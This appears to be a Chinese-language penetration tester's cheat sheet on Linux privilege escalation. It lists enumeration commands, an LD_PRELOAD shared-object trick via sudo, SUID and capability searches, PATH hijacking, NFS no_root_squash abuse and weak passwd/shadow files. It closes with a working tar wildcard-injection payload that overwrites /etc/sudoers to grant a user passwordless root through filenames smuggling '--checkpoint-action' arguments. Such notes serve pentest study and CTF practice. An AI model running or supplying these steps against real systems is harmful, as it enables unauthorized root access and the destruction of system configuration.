Linux 提权:
1.利用内核漏洞找exp:
/proc/version 内核版本信息,是否安装gcc
uname -a 系统信息
/etc/issue 系统信息
ps 进程信息
env 环境变量
2.sudo
sudo -l查看root相关程序信息
https://gtfobins.github.io/
网站参考
利用**Leverage LD_PRELOAD**
1检查 LD_PRELOAD (sudo -l)
2编写一个简单的 C 代码编译为共享对象(.so 扩展名)文件
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
3使用 sudo 权限和指向我们的 .so 文件的 LD_PRELOAD 选项运行程序
sudo LD_PRELOAD=/home/user/ldpreload/shell.so find
3,SUID
find / -type f -perm -04000 -ls 2>/dev/null
https://gtfobins.github.io/ (仍然参考本网站)
4 Capabilities
getcap -r / 2>/dev/null
5Crontab:
/etc/crontab查看定时作业
6$PATH:
echo $PATH
1. $PATH 下有哪些文件夹
2. 您当前的用户是否具有这些文件夹的写入权限?
3. 可以修改$PATH吗?
4. 您可以启动的脚本/应用程序是否会受到此漏洞的影响?
查找可写目录:
find / -writable 2>/dev/null
添加PATH:
export PATH=/tmp:$PATH
7:NFS:(网络文件共享)
/etc/exports (NFS配置文件)
showmount -e 目标IP (枚举可安装共享)
我们将把“no_root_squash”共享之一安装到我们的攻击机器上并开始构建我们的可执行文件。
mount -o rw 目标ip;/共享目录 /本机目录
8
passwd/shadow密码提权
明文密码
/etc/passwd 默认所有用户可读,但只有root可写。 /etc/passwd里的用户口令往往以x代替,其加密后的密码会存入/etc/shadow里面,/etc/shadow默认只有root可读。
但是有小概率情况,明文密码就直接出现在/etc/passwd了,如果有这个情况且root密码暴露在了passwd里,那么就可以轻而易举提权了
passwd 可写
如果/etc/passwd 当前用户可写,可以直接把root的密码改成一个明文密码,从而达到提权目的
爆破shadow
8.# 利用通配符实现Linux本地提权
通配符是一个字符或一组字符,可以用来替换某些范围/类别的字符。在执行任何其他操作之前,通配符首先要经过shell进行解释。
–checkpoint[=NUMBER] 每个处理指定数量的记录(默认为10),就显示一次进度
–checkpoint-action=ACTION 在每个检查点上执行ACTION
示例:
有一个定时任务
#!/bin/bash
cd /var/www/html
tar cf /home/backups/backup.tgz *
用到了通配符*
于是可以通配符注入提权
cd /var/www/html
echo 'echo "ignite ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > demo.sh
echo "" > "--checkpoint-action=exec=sh demo.sh"
echo "" > --checkpoint=1
sudo -l验证
有待补充